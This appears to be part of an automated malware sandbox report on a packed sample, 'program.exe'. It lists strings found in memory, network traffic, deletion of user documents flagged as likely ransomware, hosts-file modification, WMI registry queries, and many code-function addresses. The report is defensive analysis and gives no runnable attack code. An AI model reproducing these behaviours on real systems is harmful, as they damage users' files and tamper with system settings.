Source: program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: program.exe, 00000001.00000003.1759907670.000001B5FE389000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759251928.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: program.exe, 00000001.00000003.1759251928.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: program.exe, 00000001.00000003.1759251928.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/m
Source: program.exe, 00000001.00000003.1848103473.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106725604.000001B5FE3A9000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104079256.000001B5FE3A6000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1851400732.000001B5FE3A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozill
Source: program.exe, 00000001.00000003.1759907670.000001B5FE389000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103489320.000001B5FE28A000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105991946.000001B5FE28A000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2002700653.000001B5FE28A000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1850937625.000001B5FE28A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon-196x196.2af054fea211.png
Source: program.exe, 00000001.00000003.1848103473.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106725604.000001B5FE3A9000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104079256.000001B5FE3A6000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1851400732.000001B5FE3A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39
Source: program.exe, 00000001.00000003.1759907670.000001B5FE389000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106525715.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759827513.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106725604.000001B5FE3A9000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106760693.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103757155.000001B5FE3AE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759741955.000001B5FEDB8000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104079256.000001B5FE3A6000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2002183639.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1851400732.000001B5FE3A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/favicons/mozilla/favicon.d25d81d39065.icox
Source: program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: program.exe, 00000001.00000002.2114614682.000001B5FFA8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: program.exe, 00000001.00000002.2107834839.000001B5FE95C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: program.exe, 00000000.00000003.1706789669.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2118578234.00007FFDFB42A000.00000004.00000001.01000000.0000000F.sdmp, program.exe, 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: program.exe, 00000001.00000002.2118655051.00007FFDFB868000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: https://www.python.org/psf/license/)
Source: program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.rfc-editor.org/rfc/rfc8259#section-8.1
Source: program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDCC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\DVWHKMNFNN.docx	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\HTAGVDFUIE.docx	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\BPMLNOBVSB.mp3	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\BPMLNOBVSB.mp3	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File deleted: C:\Users\user\AppData\Local\Temp\ ? ? ? \Common Files\Desktop\WUTJSCBCFX.pdf	Jump to behavior

Modifies the hosts file

Source: C:\Users\user\Desktop\program.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Source: cmd.exe

Process created: 62

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Code function: 83_2_00007FF64FE73A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

83_2_00007FF64FE73A70

Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Code function: 83_2_00007FF64FE9B57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

83_2_00007FF64FE9B57C

Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7501000	0_2_00007FF6B7501000
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7526964	0_2_00007FF6B7526964
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75089E0	0_2_00007FF6B75089E0
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75240AC	0_2_00007FF6B75240AC
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7521874	0_2_00007FF6B7521874
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75180E4	0_2_00007FF6B75180E4
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75208C8	0_2_00007FF6B75208C8
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7518794	0_2_00007FF6B7518794
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7511F60	0_2_00007FF6B7511F60
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7511740	0_2_00007FF6B7511740
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7509800	0_2_00007FF6B7509800
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7519EA0	0_2_00007FF6B7519EA0
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7525E7C	0_2_00007FF6B7525E7C
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7529728	0_2_00007FF6B7529728
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B751DEF0	0_2_00007FF6B751DEF0
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75135A0	0_2_00007FF6B75135A0
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B751E570	0_2_00007FF6B751E570
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7511D54	0_2_00007FF6B7511D54
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B750ACAD	0_2_00007FF6B750ACAD
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B750A474	0_2_00007FF6B750A474
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7515D30	0_2_00007FF6B7515D30
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7511B50	0_2_00007FF6B7511B50
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7526418	0_2_00007FF6B7526418
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75208C8	0_2_00007FF6B75208C8
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7525C00	0_2_00007FF6B7525C00
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7512C10	0_2_00007FF6B7512C10
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7523C10	0_2_00007FF6B7523C10
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B751DA5C	0_2_00007FF6B751DA5C
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B750A2DB	0_2_00007FF6B750A2DB
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B75139A4	0_2_00007FF6B75139A4
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7512164	0_2_00007FF6B7512164
Source: C:\Users\user\Desktop\program.exe	Code function: 0_2_00007FF6B7511944	0_2_00007FF6B7511944
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7501000	1_2_00007FF6B7501000
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7526964	1_2_00007FF6B7526964
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75240AC	1_2_00007FF6B75240AC
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7521874	1_2_00007FF6B7521874
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75180E4	1_2_00007FF6B75180E4
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75208C8	1_2_00007FF6B75208C8
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7518794	1_2_00007FF6B7518794
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7511F60	1_2_00007FF6B7511F60
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7511740	1_2_00007FF6B7511740
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7509800	1_2_00007FF6B7509800
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7519EA0	1_2_00007FF6B7519EA0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7525E7C	1_2_00007FF6B7525E7C
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7529728	1_2_00007FF6B7529728
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B751DEF0	1_2_00007FF6B751DEF0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75135A0	1_2_00007FF6B75135A0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B751E570	1_2_00007FF6B751E570
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7511D54	1_2_00007FF6B7511D54
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B750ACAD	1_2_00007FF6B750ACAD
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B750A474	1_2_00007FF6B750A474
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7515D30	1_2_00007FF6B7515D30
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7511B50	1_2_00007FF6B7511B50
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7526418	1_2_00007FF6B7526418
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75208C8	1_2_00007FF6B75208C8
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7525C00	1_2_00007FF6B7525C00
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7512C10	1_2_00007FF6B7512C10
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7523C10	1_2_00007FF6B7523C10
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B751DA5C	1_2_00007FF6B751DA5C
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B750A2DB	1_2_00007FF6B750A2DB
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75139A4	1_2_00007FF6B75139A4
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7512164	1_2_00007FF6B7512164
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B7511944	1_2_00007FF6B7511944
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FF6B75089E0	1_2_00007FF6B75089E0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFAF10350	1_2_00007FFDFAF10350
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFAE61300	1_2_00007FFDFAE61300
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFAE62270	1_2_00007FFDFAE62270
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFAE61950	1_2_00007FFDFAE61950
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFB429060	1_2_00007FFDFB429060
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFDFBAB33C0	1_2_00007FFDFBAB33C0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007A5C00	1_2_00007FFE007A5C00
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761D93	1_2_00007FFE00761D93
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007616FE	1_2_00007FFE007616FE
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00768720	1_2_00007FFE00768720
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0076116D	1_2_00007FFE0076116D
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00798920	1_2_00007FFE00798920
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007D8870	1_2_00007FFE007D8870
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761618	1_2_00007FFE00761618
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761EE2	1_2_00007FFE00761EE2
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00762617	1_2_00007FFE00762617
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761A0F	1_2_00007FFE00761A0F
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0076149C	1_2_00007FFE0076149C
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007DAC80	1_2_00007FFE007DAC80
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761B54	1_2_00007FFE00761B54
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761CBC	1_2_00007FFE00761CBC
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0076117C	1_2_00007FFE0076117C
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00762702	1_2_00007FFE00762702
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007CD2D0	1_2_00007FFE007CD2D0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007617F8	1_2_00007FFE007617F8
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007624DC	1_2_00007FFE007624DC
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761C12	1_2_00007FFE00761C12
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007D3650	1_2_00007FFE007D3650
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007613DE	1_2_00007FFE007613DE
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761654	1_2_00007FFE00761654
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007621C6	1_2_00007FFE007621C6
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761596	1_2_00007FFE00761596
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00827A20	1_2_00007FFE00827A20
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007AD980	1_2_00007FFE007AD980
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0078BAE0	1_2_00007FFE0078BAE0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007A9A60	1_2_00007FFE007A9A60
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0076155A	1_2_00007FFE0076155A
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761FDC	1_2_00007FFE00761FDC
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007621E4	1_2_00007FFE007621E4
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761546	1_2_00007FFE00761546
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE007ADE50	1_2_00007FFE007ADE50
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00786030	1_2_00007FFE00786030
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE00761AD7	1_2_00007FFE00761AD7
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013192B0	1_2_00007FFE013192B0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01322250	1_2_00007FFE01322250
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01384C70	1_2_00007FFE01384C70
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013121E0	1_2_00007FFE013121E0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01327040	1_2_00007FFE01327040
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01304120	1_2_00007FFE01304120
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0131C380	1_2_00007FFE0131C380
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013743B0	1_2_00007FFE013743B0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01367350	1_2_00007FFE01367350
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0131D2B0	1_2_00007FFE0131D2B0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013C42B0	1_2_00007FFE013C42B0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013032F5	1_2_00007FFE013032F5
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0138A300	1_2_00007FFE0138A300
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0132D310	1_2_00007FFE0132D310
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01307336	1_2_00007FFE01307336
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0134F2D0	1_2_00007FFE0134F2D0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0132F2F0	1_2_00007FFE0132F2F0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01304570	1_2_00007FFE01304570
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013315A0	1_2_00007FFE013315A0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013245A0	1_2_00007FFE013245A0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0135B5B0	1_2_00007FFE0135B5B0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0132E5C0	1_2_00007FFE0132E5C0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013A54A0	1_2_00007FFE013A54A0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0134A510	1_2_00007FFE0134A510
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013094D0	1_2_00007FFE013094D0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01377750	1_2_00007FFE01377750
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01304820	1_2_00007FFE01304820
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013727E6	1_2_00007FFE013727E6
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01313650	1_2_00007FFE01313650
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE0135E670	1_2_00007FFE0135E670
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013606C0	1_2_00007FFE013606C0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE013299A0	1_2_00007FFE013299A0
Source: C:\Users\user\Desktop\program.exe	Code function: 1_2_00007FFE01362950	1_2_00007FFE01362950
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9A5B3027	8_2_00007FFD9A5B3027
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE7AE10	83_2_00007FF64FE7AE10
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5ABA0	83_2_00007FF64FE5ABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE87B24	83_2_00007FF64FE87B24
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE60A2C	83_2_00007FF64FE60A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE51884	83_2_00007FF64FE51884
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE5B540	83_2_00007FF64FE5B540
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE654C0	83_2_00007FF64FE654C0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE582F0	83_2_00007FF64FE582F0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE61180	83_2_00007FF64FE61180
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE70104	83_2_00007FF64FE70104
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FEB00F0	83_2_00007FF64FEB00F0
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE80074	83_2_00007FF64FE80074
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE7C05C	83_2_00007FF64FE7C05C
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE88040	83_2_00007FF64FE88040
Source: C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	Code function: 83_2_00007FF64FE63030	83_2_00007FF64FE63030
